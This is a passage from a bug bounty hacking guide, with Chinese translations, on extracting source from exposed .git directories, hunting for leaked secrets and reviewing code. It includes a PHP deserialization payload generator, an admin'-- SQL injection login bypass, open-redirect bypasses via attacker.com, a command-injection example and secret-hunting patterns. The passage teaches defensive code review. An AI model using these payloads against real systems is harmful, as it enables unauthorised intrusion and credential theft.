You start with filepaths that you already know exist, like .git/HEAD ! Reading this file will give you a reference to the current branch (for example, .git/refs/heads/master ) that you can use to find more files on the system:

你可以从已知的文件路径开始，比如.git/HEAD！读取这个文件可以给你一个当前分支的引用（例如.git/refs/heads/master），你可以使用它来在系统中找到更多的文件：

$ cat .git/HEAD
ref: refs/heads/master
$ cat .git/refs/heads/master
0a66452433322af3d319a377415a890c70bbd263
$ git cat-file -t 0a66452433322af3d319a377415a890c70bbd263
commit
$ git cat-file -p 0a66452433322af3d319a377415a890c70bbd263
tree 0a72e6850ef963c6aeee4121d38cf9de773865d8

The .git/refs/heads/master file will point you to the particular object hash that stores the directory tree of the commit. From there, you can see that the object is a commit and is associated with a tree object, 0a72e6850ef963c6aeee4121d38cf9de773865d8 . Now examine that tree object:

.git/refs/heads/master文件将指向存储提交目录树的特定对象哈希。从那里，你可以看到该对象是一个提交，并与树对象0a72e6850ef963c6aeee4121d38cf9de773865d8关联。现在检查那个树对象：

$ git cat-file -p 0a72e6850ef963c6aeee4121d38cf9de773865d8
100644 blob 6ad5fb6b9a351a77c396b5f1163cc3b0abcde895 .gitignore
040000 blob 4b66088945aab8b967da07ddd8d3cf8c47a3f53c source.py
040000 blob 9a3227dca45b3977423bb1296bbc312316c2aa0d README
040000 tree 3b1127d12ee43977423bb1296b8900a316c2ee32 resources

Bingo! You discover some source code files and additional object trees to explore.

万岁！您找到了一些源代码文件和其他要探索的对象树。

On a remote server, your requests to discover the different files would look a little different. For instance, you can use this URL to determine the HEAD:

在远程服务器上，您查找不同文件的请求会有所不同。例如，您可以使用以下网址确定HEAD：

https://example.com/.git/HEAD

Use this URL to find the object stored in that HEAD:

使用此网址查找存储在该HEAD中的对象：

https://example.com/.git/refs/heads/master

Use this URL to access the tree associated with the commit:

使用此URL访问与提交相关的树：

https://example.com/.git/objects/0a/72e6850ef963c6aeee4121d38cf9de773865d8

Finally, use this URL to download the source code stored in the source.py file:

最后，使用该URL下载存储在source.py文件中的源代码：

https://example.com/.git/objects/4b/66088945aab8b967da07ddd8d3cf8c47a3f53c

If you are downloading files from a remote server, you’ll also need to decompress the downloaded object file before you read it. This can be done using some code. You can decompress the object file by using Ruby, Python, or your preferred language’s zlib library:

如果你从远程服务器下载文件，你还需要在读取之前解压下载的对象文件。这可以使用一些代码来完成。你可以使用Ruby、Python或你喜欢的语言的zlib库来解压对象文件。

ruby -rzlib -e 'print Zlib::Inflate.new.inflate(STDIN.read)' < OBJECT_FILE

python -c 'import zlib, sys;
  print repr(zlib.decompress(sys.stdin.read()))' < OBJECT_FILE

After recovering the project’s source code, you can grep for sensitive data such as hardcoded credentials, encryption keys, and developer comments. If you have time, you can browse through the entire recovered codebase to conduct a source code review and find potential vulnerabilities.

在恢复项目源代码后，您可以使用grep查找敏感数据，例如硬编码凭据、加密密钥和开发人员的注释。 如果有时间，您可以浏览整个恢复的代码库进行源代码审核，并查找潜在漏洞。

Step 5: Find Information in Public Files

You could also try to find information leaks in the application’s public files, such as their HTML and JavaScript source code. In my experience, JavaScript files are a rich source of information leaks!

你也可以尝试在应用程序的公共文件中寻找信息泄露，例如 HTML 和 JavaScript 源代码。根据我的经验，JavaScript 文件是信息泄露的丰富来源！

Browse the web application that you’re targeting as a regular user and take note of where the application displays or uses your personal information. Then right-click those pages and click View page source . You should see the HTML source code of the current page. Follow the links on this page to find other HTML files and JavaScript files the application is using. Then, on the HTML file and the JavaScript files found, grep every page for hardcoded credentials, API keys, and personal information with keywords like password and api_key .

浏览您所针对的Web应用程序，以普通用户的身份，并注意应用程序显示或使用个人信息的位置。然后右键单击这些页面，点击“查看页面源代码”。您应该看到当前页面的HTML源代码。跟随此页上的链接以查找应用程序正在使用的其他HTML文件和JavaScript文件。然后，在找到的HTML文件和JavaScript文件上，使用密码和api_key等关键字对每个页面进行硬编码凭据，API密钥和个人信息的grep。

You can also locate JavaScript files on a site by using tools like LinkFinder ( https://github.com/GerbenJavado/LinkFinder/ ).

您还可以使用LinkFinder等工具在网站上找到JavaScript文件。

Escalating the Attack

After you’ve found a sensitive file or a piece of sensitive data, you’ll have to determine its impact before reporting it. For example, if you have found credentials such as a password or an API key, you need to validate that they’re currently in use by accessing the target’s system with them. I often find outdated credentials that cannot be used to access anything. In that case, the information leak isn’t a vulnerability.

在找到敏感文件或敏感数据之后，您需要在报告之前确定它的影响。例如，如果您找到凭据（如密码或API密钥），则需要通过使用它们访问目标系统来验证它们当前是否正在使用中。我经常发现过时的凭据无法用于访问任何内容。在那种情况下，信息泄漏不是漏洞。

If the sensitive files or credentials you’ve found are valid and current, consider how you can compromise the application’s security with them. For example, if you found a GitHub access token, you can potentially mess with the organization’s projects and access their private repositories. If you find the password to their admin portals, you might be able to leak their customers’ private information. And if you can access the /etc/shadow file on a target server, you might be able to crack the system user’s passwords and take over the system! Reporting an information leak is often about communicating the impact of that leak to companies by highlighting the criticality of the leaked information.

如果您找到的敏感文件或凭证是有效和当前的，请考虑如何使用它们来破坏应用程序的安全性。例如，如果您发现了一个GitHub访问令牌，您有可能破坏组织的项目并访问他们的私人代码库。如果您找到了管理员门户的密码，则可能泄露了客户的个人信息。如果您可以访问目标服务器上的/ etc / shadow文件，则可能可以破解系统用户的密码并接管系统！报告信息泄漏通常涉及向公司传达该泄漏的影响，通过强调泄漏信息的关键性来提醒他们注意。

If the impact of the information you found isn’t particularly critical, you can explore ways to escalate the vulnerability by chaining it with other security issues. For example, if you can leak internal IP addresses within the target’s network, you can use them to pivot into the network during an SSRF exploit. Alternatively, if you can pinpoint the exact software version numbers the application is running, see if any CVEs are related to the software version that can help you achieve RCE.

如果你发现的信息的影响并不特别严重，你可以探索通过将其与其他安全问题链接起来来升级漏洞的方法。例如，如果你可以泄漏目标网络内部的IP地址，你可以在SSRF漏洞利用期间使用它们来进入网络。或者，如果你可以确定应用程序正在运行的确切软件版本号，请查看是否有与软件版本相关的CVE，这些CVE可以帮助你实现RCE。

Finding Your First Information Disclosure!

Now that you understand the common types of information leaks and how to find them, follow the steps discussed in this chapter to find your first information disclosure:

既然你了解了信息泄漏的常见类型和如何找到它们，请按照本章中讨论的步骤查找您的第一个信息披露：

Look for software version numbers and configuration information by using the recon techniques presented in Chapter 5 .

Start searching for exposed configuration files, database files, and other sensitive files uploaded to the production server that aren’t protected properly. Techniques you can use include path traversal, scraping the Wayback Machine or paste dump sites, and looking for files in exposed .git directories.

Find information in the application’s public files, such as its HTML and JavaScript source code, by grep ping the file with keywords.

Consider the impact of the information you find before reporting it, and explore ways to escalate its impact.

Draft your first information disclosure report and send it over to the bug bounty program!

Part IV
Expert Techniques

22
Conducting Code Reviews

You’ll sometimes come across the source code of an application you’re attacking. For example, you might be able to extract JavaScript code from a web application, find scripts stored on servers during the recon process, or obtain Java source code from an Android application. If so, you are in luck! Reviewing code is one of the best ways to find vulnerabilities in applications.

攻击应用程序时，有时您会遇到源代码。例如，您可能能够从Web应用程序中提取JavaScript代码，在侦察过程中找到存储在服务器上的脚本，或从Android应用程序中获取Java源代码。如果是这样，你就很幸运了！审查代码是发现应用程序漏洞的最佳方法之一。

Instead of testing applications by trying different payloads and attacks, you can locate insecure programming directly by looking for bugs in an application’s source code. Source code review not only is a faster way of finding vulnerabilities, but also helps you learn how to program safely in the future, because you’ll observe the mistakes of others.

不必通过尝试不同的有效载荷和攻击来测试应用程序，你可以直接查找应用程序源代码中的漏洞来定位不安全的编程。源代码审查不仅可以更快地发现漏洞，还可以帮助你学习如何在未来安全编程，因为你会观察到别人犯的错误。

By learning how vulnerabilities manifest themselves in source code, you can develop an intuition about how and why vulnerabilities happen. Learning to conduct source code reviews will eventually help you become a better hacker.

通过学习漏洞如何在源代码中显现，你可以培养出对漏洞出现原因与方式的直觉。学习进行源代码审阅也会帮助你变得更好的黑客。

This chapter introduces strategies that will help you get started reviewing code. We’ll cover what you should look for and walk through example exercises to get your feet wet.

本章介绍了一些策略，可以帮助你开始审查代码。我们将讨论你应该寻找什么，并通过实例练习来帮助你上手。

Remember that, most of the time, you don’t have to be a master programmer to conduct a code review in a particular language. As long as you understand one programming language, you can apply your intuition to review a wide variety of software written in different languages. But understanding the target’s particular language and architecture will allow you to spot more nuanced bugs.

记住，大多数情况下，你不必成为某种语言的大师程序员才能进行代码审查。只要你理解一种编程语言，就可以运用自己的直觉来审查用不同语言编写的各种软件。但是，了解目标语言和架构将使您能够发现更为微妙的缺陷。

Note

If you are interested in learning more about code reviews beyond the strategies mentioned in this chapter, the OWASP Code Review Guide ( https://owasp.org/www-project-code-review-guide/ ) is a comprehensive resource to reference.

如果你对本章节提到的代码审查策略以外的内容感兴趣，OWASP代码审查指南(https://owasp.org/www-project-code-review-guide/)是一个详尽的参考资源。

White-Box vs. Black-Box Testing

You might have heard people in the cybersecurity industry mention black-box and white-box testing. Black-box testing is testing the software from the outside in. Like a real-life attacker, these testers have little understanding of the application’s internal logic. In contrast, in gray-box testing , the tester has limited knowledge of the application’s internals. In a white-box review , the tester gets full access to the software’s source code and documentation.

你可能听过电脑安全行业的人提到黑盒和白盒测试。黑盒测试是从外部测试软件。像真正的攻击者一样，这些测试人员几乎不了解应用程序的内部逻辑。相比之下，灰盒测试，测试人员了解应用程序的部分内部逻辑。在白盒测试中，测试人员可以完全访问软件的源代码和文档。

Usually, bug bounty hunting is a black-box process, since you don’t have access to an application’s source code. But if you can identify the open source components of the application or find its source code, you can convert your hunting to a more advantageous gray-box or white-box test.

通常，漏洞赏金狩猎是一个黑盒过程，因为你无法访问应用程序的源代码。但如果你能识别应用程序的开源组件或找到其源代码，你就可以将你的狩猎转化为更具优势的灰盒或白盒测试。

The Fast Approach: grep Is Your Best Friend

There are several ways to go about hunting for vulnerabilities in source code, depending on how thorough you want to be. We’ll begin with what I call the “I’ll take what I can get” strategy. It works great if you want to maximize the number of bugs found in a short time. These techniques are speedy and often lead to the discovery of some of the most severe vulnerabilities, but they tend to leave out the more subtle bugs.

有几种方法可以猎取源代码中的漏洞，根据你想要多么彻底。我们将从我所谓的“我会拿到什么就用什么”策略开始。如果您想在短时间内最大化发现错误数量，则该策略非常有效。这些技术速度很快，通常会导致发现一些最严重的漏洞，但它们往往会忽略更微妙的漏洞。

Dangerous Patterns

Using the grep command, look for specific functions, strings, keywords, and coding patterns that are known to be dangerous. For example, the use of the eval() function in PHP can indicate a possible code injection vulnerability.

使用grep命令，查找已知为危险的特定函数、字符串、关键字和编码模式。例如，PHP中使用eval()函数可能会暴露代码注入漏洞。

To see how, imagine you search for eval() and pull up the following code snippet:

想要了解，可以想象一下您搜索eval（）并拉出以下代码片段：

<?php
  [...]
  class UserFunction
  {
    private $hook;
    function __construct(){
      [...]
    }
    function __wakeup(){
    1 if (isset($this->hook)) eval($this->hook);
    }
  }
  [...]
2 $user_data = unserialize($_COOKIE['data']);
  [...]
?>

In this example, $_COOKIE['data'] 2 retrieves a user cookie named data . The eval() function 1 executes the PHP code represented by the string passed in. Put together, this piece of code takes a user cookie named data and unserializes it. The application also defines a class named UserFunction , which runs eval() on the string stored in the instance’s $hook property when unserialized.

在这个例子中，$_COOKIE ['data']会检索名为data的用户Cookie。eval ()函数会执行传入的字符串所代表的PHP代码。将它们放在一起，这段代码会获取名为data的用户Cookie并对其进行反序列化。此应用程序还定义了一个名为UserFunction的类，当反序列化时会对实例的$hook属性中存储的字符串运行eval()。

This code contains an insecure deserialization vulnerability, leading to an RCE. That’s because the application takes user input from a user’s cookie and plugs it directly into an unserialize() function. As a result, users can make unserialize() initiate any class the application has access to by constructing a serialized object and passing it into the data cookie.

该代码包含一个不安全的反序列化漏洞，导致远程代码执行。这是因为应用程序从用户的cookie中获取用户输入，并直接插入到一个反序列化（unserialize）函数中。因此，用户可以使用构造的序列化对象将unserialize()引发应用程序可以访问的任何类。

You can achieve RCE by using this deserialization flaw because it passes a user-provided object into unserialize() , and the UserFunction class runs eval() on user-provided input, which means users can make the application execute arbitrary user code. To exploit this RCE, you simply have to set your data cookie to a serialized UserFunction object with the hook property set to whatever PHP code you want. You can generate the serialized object by using the following bit of code:

使用此反序列化漏洞您可以实现RCE，因为它会将用户提供的对象传递到unserialize()函数中，而UserFunction类在用户提供的输入上运行eval()函数，这意味着用户可以让应用程序执行任意用户代码。要利用这个RCE，您只需将数据cookie设置为序列化的UserFunction对象，并将钩子属性设置为您想要的任何PHP代码。您可以使用以下代码生成序列化的对象:

<?php
  class UserFunction
  {
    private $hook = "phpinfo();";
  }
  print urlencode(serialize(new UserFunction));

?>

Passing the resulting string into the data cookie will cause the code phpinfo(); to be executed. This example is taken from OWASP’s PHP object injection guide at https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection . You can learn more about insecure deserialization vulnerabilities in Chapter 14 .

将生成的字符串传递到数据cookie中将导致执行phpinfo（）代码。该示例取自OWASP的PHP对象注入指南，网址为https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection。您可以在第14章中了解有关不安全反序列化漏洞的更多信息。

When you are just starting out reviewing a piece of source code, focus on the search for dangerous functions used on user-controlled data. Table 22-1 lists a few examples of dangerous functions to look out for. The presence of these functions does not guarantee a vulnerability, but can alert you to possible vulnerabilities.

当您刚开始审查源代码时，重点关注对用户控制的数据使用的危险函数的搜索。表22-1列出了一些要注意的危险函数的示例。这些函数的存在并不保证漏洞的存在，但可以提醒您可能存在漏洞。

Table 22-1 : Potentially Vulnerable Functions

表22-1：可能有漏洞的功能

Language
Function
Possible vulnerability

PHP
eval() , assert() , system() , exec() , shell_exec() , passthru() , popen() , backticks (` CODE `) , include() , require()
RCE if used on unsanitized user input.
eval() and assert() execute PHP code in its input, while system() , exec() , shell_exec() , passthru() , popen() , and backticks execute system commands. include() and require() can be used to execute PHP code by feeding the function a URL to a remote PHP script.

PHP
unserialize()
Insecure deserialization if used on unsanitized user input.

Python
eval() , exec() , os.system()
RCE if used on unsanitized user input.

Python
pickle.loads() , yaml.load()
Insecure deserialization if used on unsanitized user input.

JavaScript
document.write() , document.writeln
XSS if used on unsanitized user input. These functions write to the HTML document. So if attackers can control the value passed into it on a victim’s page, the attacker can write JavaScript onto a victim’s page.

JavaScript
document.location.href()
Open redirect when used on unsanitized user input. document.location.href() changes the location of the user’s page.

Ruby
System() , exec() , %x() , backticks (` CODE `)
RCE if used on unsanitized user input.

Ruby
Marshall.load() , yaml.load()
Insecure deserialization if used on unsanitized user input.

Leaked Secrets and Weak Encryption

Look for leaked secrets and credentials. Sometimes developers make the mistake of hardcoding secrets such as API keys, encryption keys, and database passwords into source code. When that source code is leaked to an attacker, the attacker can use these credentials to access the company’s assets. For example, I’ve found hardcoded API keys in the JavaScript files of web applications.

寻找泄露的秘密和凭据。有时，开发人员会错误地将秘密（如API密钥、加密密钥和数据库密码）硬编码到源代码中。当该源代码泄露给攻击者时，攻击者可以使用这些凭据访问公司的资产。例如，我曾在 Web 应用程序的 JavaScript 文件中发现硬编码的 API 密钥。

You can look for these issues by grepping for keywords such as key , secret , password , encrypt , API , login , or token . You can also regex search for hex or base64 strings, depending on the key format of the credentials you’re looking for. For instance, GitHub access tokens are lowercase, 40-character hex strings. A search pattern like [a-f0-9]{40} would find them in the source code. This search pattern matches strings that are 40 characters long and contains only digits and the hex letters a to f .

您可以通过使用关键字，如key、secret、password、encrypt、API、login或token进行grep来查找这些问题。您还可以使用正则表达式搜索十六进制或Base64字符串，具体取决于您要查找的凭证的键格式。例如，GitHub访问令牌是小写的40个字符的十六进制字符串。像[a-f0-9] {40}这样的搜索模式可以在源代码中找到它们。此搜索模式匹配长度为40个字符且仅包含数字和十六进制字母a到f的字符串。

When searching, you might pull up a section of code like this one, written in Python:

在搜索时，你可能会找到像这样的 Python 代码部分：

import requests

1 GITHUB_ACCESS_TOKEN = "0518fb3b4f52a1494576eee7ed7c75ae8948ce70"
headers = {"Authorization": "token {}".format(GITHUB_ACCESS_TOKEN), \
"Accept": "application/vnd.github.v3+json"}
api_host = "https://api.github.com"
2 usernames = ["vickie"] # List users to analyze

def request_page(path):
  resp = requests.Response()
  try: resp = requests.get(url=path, headers=headers, timeout=15, verify=False)
  except: pass
  return resp.json()

3 def find_repos():
  # Find repositories owned by the users.
  for username in usernames:
    path = "{}/users/{}/repos".format(api_host, username)
    resp = request_page(path)
    for repo in resp:
      print(repo["name"])

if __name__ == "__main__":
  find_repos()

This Python program takes in the username of a user from GitHub 2 and prints out the names of all the user’s repositories 3 . This is probably an internal script used to monitor the organization’s assets. But this code contains a hardcoded credential, as the developer hardcoded a GitHub access token into the source code 1 . Once the source code is leaked, the API key becomes public information.

这个 Python 程序从 GitHub2 中接受用户的用户名，然后打印出该用户所有的存储库名称3。这可能是用于监控组织资产的内部脚本。但这段代码包含一个硬编码的凭据，因为开发人员在源代码中硬编码了一个 GitHub 访问令牌1。一旦源代码泄露，API 密钥就成为公共信息。

Entropy scanning can help you find secrets that don’t adhere to a specific format. In computing, entropy is a measurement of how random and unpredictable something is. For instance, a string composed of only one repeated character, like aaaaa , has very low entropy. A longer string with a larger set of characters, like wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY , has higher entropy. Entropy is therefore a good tool to find highly randomized and complex strings, which often indicate a secret. TruffleHog by Dylan Ayrey ( https://github.com/trufflesecurity/truffleHog/ ) is a tool that searches for secrets by using both regex and entropy scanning.

熵扫描可以帮助您找到不符合特定格式的秘密。在计算机中，熵是衡量某物有多随机和不可预测的尺度。例如，由一个重复字符组成的字符串，如aaaaa，熵非常低。而一个由更多字符组成的较长字符串，如wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY，熵较高。因此，熵是寻找高度随机和复杂的字符串的好工具，这往往意味着一个秘密。Dylan Ayrey 的TruffleHog（https://github.com/trufflesecurity/truffleHog/）是一种同时使用正则表达式和熵扫描来搜索秘密的工具。

Finally, look for the use of weak cryptography or hashing algorithms. This issue is hard to find during black-box testing but easy to spot when reviewing source code. Look for issues such as weak encryption keys, breakable encryption algorithms, and weak hashing algorithms. Grep the names of weak algorithms like ECB, MD4, and MD5. The application might have functions named after these algorithms, such as ecb() , create_md4() , or md5_hash(). It might also have variables with the name of the algorithm, like ecb_key , and so on. The impact of weak hashing algorithms depends on where they are used. If they are used to hash values that are not considered security sensitive, their usage will have less of an impact than if they are used to hash passwords.

最后，寻找弱密码学或哈希算法的使用。在黑盒测试期间，这个问题很难发现，但在代码审查时很容易发现。寻找弱加密密钥、易破解的加密算法和弱哈希算法等问题。Grep弱算法的名称，如ECB、MD4和MD5。应用程序可能有以这些算法命名的函数，例如ecb()、create_md4()或md5_hash()。它还可能有以算法名称命名的变量，例如ecb_key等。弱哈希算法的影响取决于它们的使用位置。如果它们用于哈希不被视为安全敏感的值，则它们的使用将比用于哈希密码时产生更少的影响。

New Patches and Outdated Dependencies

If you have access to the commit or change history of the source code, you can also focus your attention on the most recent code fixes and security patches. Recent changes haven’t stood the test of time and are more likely to contain bugs. Look at the protection mechanisms implemented and see if you can bypass them.

如果您可以访问源代码的提交或更改历史，您也可以将注意力集中在最近的代码修复和安全补丁上。最近的更改还没有经受时间的考验，很可能包含错误。查看已实施的保护机制，看看能否绕过它们。

Also search for the program’s dependencies and check whether any of them are outdated. Grep for specific code import functions in the language you are using with keywords like import , require , and dependencies . Then research the versions they’re using to see if any vulnerabilities are associated with them in the CVE database ( https://cve.mitre.org/ ). The process of scanning an application for vulnerable dependencies is called software composition analysis ( SCA) . The OWASP Dependency-Check tool ( https://owasp.org/www-project-dependency-check/ ) can help you automate this process. Commercial tools with more capabilities exist too.

同时搜索程序的依赖项并检查其中是否有过时的内容。使用关键词如 import、require和依赖项来在所使用的编程语言中查找特定的代码导入函数。然后研究它们所使用的版本，以确定它们是否在 CVE 数据库（https://cve.mitre.org/）中有与之相关的漏洞。扫描程序中的易受攻击依赖关系的过程称为软件组成分析（SCA）。OWASP 依赖项检查工具（https://owasp.org/www-project-dependency-check/）可以帮助您自动化此过程。也存在更具能力的商业工具。

Developer Comments

You should also look for developer comments and hidden debug functionalities, and accidentally exposed configuration files. These are resources that developers often forget about, and they leave the application in a dangerous state.

你还应该寻找开发者的注释、隐藏的调试功能和意外暴露的配置文件。这些资源开发者经常会忘记，留下了应用处于危险状态。

Developer comments can point out obvious programming mistakes. For example, some developers like to put comments in their code to remind themselves of incomplete tasks. They might write comments like this, which points out vulnerabilities in the code:

开发人员的评论可以指出明显的编程错误。例如，一些开发人员喜欢在代码中放置评论来提醒自己有未完成的任务。他们可能会写出像这样的注释，指出代码中的漏洞：

# todo: Implement CSRF protection on the change_password endpoint.

You can find developer comments by searching for the comment characters of each programming language. In Python, it’s # . In Java, JavaScript, and C++, it’s // . You can also search for terms like todo , fix , completed , config , setup , and removed in source code.

你可以通过搜索每种编程语言的注释字符来找到开发者的评论。在 Python 中，它是 #。在 Java、JavaScript 和 C++ 中，它是//。你也可以在源代码中搜索 todo、fix、completed、config、setup 和 removed 等词汇。

Debug Functionalities, Configuration Files, and Endpoints

Hidden debug functionalities often lead to privilege escalation, as they’re intended to let the developers themselves bypass protection mechanisms. You can often find them at special endpoints, so search for strings like HTTP , HTTPS , FTP , and dev . For example, you might find a URL like this somewhere in the code that points you to an admin panel:

隐藏的调试功能通常会导致权限升级，因为它们旨在让开发人员自己绕过保护机制。您可以经常在特殊的端点上找到它们，因此搜索像HTTP、HTTPS、FTP和dev之类的字符串。例如，在代码中可能会找到这样一个URL，指向管理员面板。

http://dev.example.com/admin?debug=1&password=password # Access debug panel

Configuration files allow you to gain more information about the target application and might contain credentials. You can look for filepaths to configuration files in source code as well. Configuration files often have the file extensions .conf , .env , .cnf , .cfg , .cf , .ini , .sys , or .plist .

配置文件可帮助您获取有关目标应用程序的更多信息，并可能包含凭据。您还可以在源代码中查找配置文件的文件路径。配置文件通常具有文件扩展名.conf、.env、.cnf、.cfg、.cf、.ini、.sys或.plist。配置文件能让你获取有关目标应用程序的更多信息，并可能包含凭据。在源代码中也可以查找文件路径以获取配置文件。配置文件通常使用以下文件扩展名.conf、.env、.cnf、.cfg、.cf、.ini、.sys或.plist。

Next, look for additional paths, deprecated endpoints, and endpoints in development. These are endpoints that users might not encounter when using the application normally. But if they work and are discovered by an attacker, they can lead to vulnerabilities such as authentication bypass and sensitive information leak, depending on the exposed endpoint. You can search for strings and characters that indicate URLs like HTTP , HTTPS , slashes (/), URL parameter markers (?), file extensions ( .php , .html , .js , .json ), and so on.

接下来，寻找其他路径、已弃用的终端和正在开发中的终端。这些终端在用户正常使用应用程序时可能不会遇到。但如果它们可以工作并被攻击者发现，可能会导致漏洞，比如认证绕过和敏感信息泄露，这取决于暴露的终端。你可以搜索一些 URL 指示字符和字符串，比如 HTTP、HTTPS、斜杠 (/)、URL 参数标记 (?), 文件扩展名 (.php、.html、.js、.json) 等等。

The Detailed Approach

If you have more time, complement the fast techniques with a more extensive source code review to find subtle vulnerabilities. Instead of reading the entire codebase line by line, try these strategies to maximize your efficiency.

如果你有更多的时间，可以通过更详细的源代码审查来发现微妙的漏洞来补充快速技术。不要逐行阅读整个代码库，尝试使用这些策略来最大化你的效率。

Important Functions

When reading source code, focus on important functions, such as authentication, password reset, state-changing actions, and sensitive info reads. For example, you’d want to take a close look at this login function, written in Python:

阅读源代码时，专注于重要的函数，例如身份验证、密码重置、状态更改操作和敏感信息读取。例如，您想仔细查看Python中编写的此登录函数。

def login():
  query = "SELECT * FROM users WHERE username = '" + \
  1 request.username + "' AND password = '" + \
    request.password + "';"
  authed_user = database_call(query)
2 login_as(authed_user)

This function looks for a user in the database by using a SQL query constructed from the username and password provided by the user 1 . If a user with the specified username and password exists, the function logs in the user 2 .

该功能通过使用用户提供的用户名和密码构建SQL查询在数据库中查找用户。如果存在具有指定用户名和密码的用户，则该功能将登录该用户。

This code contains a classic example of a SQL injection vulnerability. At 1 , the application uses user input to formulate a SQL query without sanitizing the input in any way. Attackers could formulate an attack, for example, by entering admin'-- as the username to log in as the admin user. This works because the query would become the following:

这段代码包含经典的SQL注入漏洞示例。在1处，应用程序使用用户输入来构建SQL查询，而没有以任何方式对输入进行消毒。攻击者可以通过输入admin'--作为用户名来发起攻击，以作为管理员用户登录。这有效是因为查询变成了以下形式：

SELECT password FROM users WHERE username = 'admin' --' AND password = '';

Which parts of the application are important depend on the priorities of the organization. Also review how important components interact with other parts of the application. This will show you how an attacker’s input can affect different parts of the application.

应用程序中哪些部分是重要的取决于组织的优先事项。还要检查重要组件如何与应用程序的其他部分进行交互。这将展示攻击者的输入如何影响应用程序的不同部分。

User Input

Another approach is to carefully read the code that processes user input. User input, such as HTTP request parameters, HTTP headers, HTTP request paths, database entries, file reads, and file uploads provide the entry points for attackers to exploit the application’s vulnerabilities. This can help find common vulnerabilities such as stored XSS, SQL injections, and XXEs.

另一种方法是仔细阅读处理用户输入的代码。用户输入，例如HTTP请求参数、HTTP头、HTTP请求路径、数据库条目、文件读取和文件上传，为攻击者利用应用程序漏洞提供了入口点。这有助于发现常见的漏洞，例如存储型XSS、SQL注入和XXE。

Focusing on parts of the code that deal with user input will provide a good starting point for identifying potential dangers. Make sure to also review how the user input gets stored or transferred. Finally, see whether other parts of the application use the previously processed user input. You might find that the same user input interacts differently with various components of the application.

专注于处理用户输入的代码部分将为识别潜在危险提供良好的起点。确保还审查用户输入的存储或传输方式。最后，查看应用程序的其他部分是否使用了以前处理的用户输入。您可能会发现，同样的用户输入与应用程序的各个组件交互方式不同。

For example, the following snippet accepts user input. The PHP variable $_GET contains the parameters submitted in the URL query string, so the variable $_GET['next'] refers to the value of the URL query parameter named next :

例如，下面的代码段接受用户输入。PHP变量$_GET包含在URL查询字符串中提交的参数，所以变量$_GET ['next']是指URL查询参数命名为next的值：

<?php

  [...]

  if ($logged_in){
  1 $redirect_url = $_GET['next'];
  2 header("Location: ". $redirect_url);
    exit;
  }

  [...]

?>

This parameter gets stored in the $redirect_url variable 1 . Then the header() PHP function sets the response header Location to that variable 2 . The Location header controls where the browser redirects a user. This means the user will be redirected to the location specified in the next URL parameter.

此参数存储在$redirect_url变量1中。然后，header() PHP函数将响应头设置为该变量2的位置。位置标头控制浏览器重定向用户的位置。这意味着用户将被重定向到下一个URL参数中指定的位置。

The vulnerability in this code snippet is an open redirect. The next URL query parameter is used to redirect the user after login, but the application doesn’t validate the redirect URL before redirecting the user. It simply takes the value of the URL query parameter next and sets the response header accordingly.

该代码片段存在漏洞，即开放式重定向漏洞。在登录后，下一个URL查询参数用于将用户重定向，但应用程序在重定向用户之前并不对重定向URL进行验证。它仅仅是获取 URL 查询参数 next 的值，并相应地设置响应头。

Even a more robust version of this functionality might contain vulnerabilities. Take a look at this code snippet:

即使更强大的功能版本也可能存在漏洞。看看这段代码片段：

<?php

[...]

if ($logged_in){
    $redirect_url = $_GET['next'];
  1 if preg_match("/example.com/", $redirect_url){
      header("Location: ". $redirect_url);
      exit;
    }

}

[...]

?>

Now the code contains some input validation: the preg_match( PATTERN , STRING ) PHP function checks whether the STRING matches the regex pattern PATTERN 1 . Presumably, this pattern would make sure the page redirects to a legitimate location. But this code still contains an open redirect. Although the application now validates the redirect URL before redirecting the user, it does so incompletely. It checks only whether the redirect URL contains the string example.com . As discussed in Chapter 7 , attackers could easily bypass this protection by using a redirect URL such as attacker.com/example.com , or example.com.attacker.com .

现在的代码包含一些输入验证：preg_match（PATTERN，STRING）PHP函数检查STRING是否与正则表达式模式PATTERN匹配。 1.假定此模式将确保页面重定向到合法位置。 但是，此代码仍包含一个开放式重定向问题。 尽管应用现在在重定向用户之前验证重定向URL，但该验证不完整。 它仅检查重定向URL是否包含字符串example.com。 如第7章所讨论的那样，攻击者可以轻松绕过此保护，方法是使用诸如attacker.com/example.com或example.com.attacker.com之类的重定向URL。

Let’s look at another instance where tracing user input can point us to vulnerabilities. The parse_url( URL, COMPONENT ) PHP function parses a URL and returns the specified URL component. For example, this function will return the string /index.html . In this case, it returns the PHP_URL_PATH , the filepath part of the input URL:

让我们看看另一个实例，追踪用户输入可以指出我们漏洞的位置。parse_url（URL，COMPONENT）PHP函数解析URL并返回指定的URL组件。例如，此函数将返回字符串/index.html。在这种情况下，它返回PHP_URL_PATH，输入URL的文件路径部分。

parse_url("https://www.example.com/index.html", PHP_URL_PATH)

Can you spot the vulnerabilities in the following piece of PHP code?

你能发现以下 PHP 代码中的漏洞吗？

<?php

  [...]

1 $url_path = parse_url($_GET['download_file'], PHP_URL_PATH);
2 $command = 'wget -o stdout https://example.com' . $url_path;
3 system($command, $output);
4 echo "<h1> You requested the page:" . $url_path . "</h1>";
  echo $output;

  [...]

?>

This page contains a command injection vulnerability and a reflected XSS vulnerability. You can find them by paying attention to where the application uses the user-supplied download_file parameter.

该页面存在命令注入漏洞和反射型跨站脚本漏洞。只需关注应用程序在何处使用用户提供的download_file参数，即可发现它们。

Let’s say this page is located at https://example.com/download . This code retrieves the download_file URL query parameter and parses the URL to retrieve its path component 1 . Then the server downloads the file located on the example.com server with the filepath that matches the path in the download_file URL 2 . For example, visiting this URL will download the file https://example.com/abc :

假设这个页面位于 https://example.com/download。这段代码检索 download_file URL 查询参数并解析 URL 以检索其路径组件 1. 然后服务器下载位于 example.com 服务器上与下载文件 URL 中路径匹配的文件 2。例如，访问此 URL 将下载文件 https://example.com/abc：到。

https://example.com/download?download_file=https://example.com/abc

The PHP system() command executes a system command, and system( COMMAND, OUTPUT ) will store the output of COMMAND into the variable OUTPUT . This program passes user input into a variable $command , then into the system() function 3 . This means that users can get arbitrary code executed by injecting their payload into the $url_path . They’d simply have to meddle with the download_file GET parameter while requesting a page, like this:

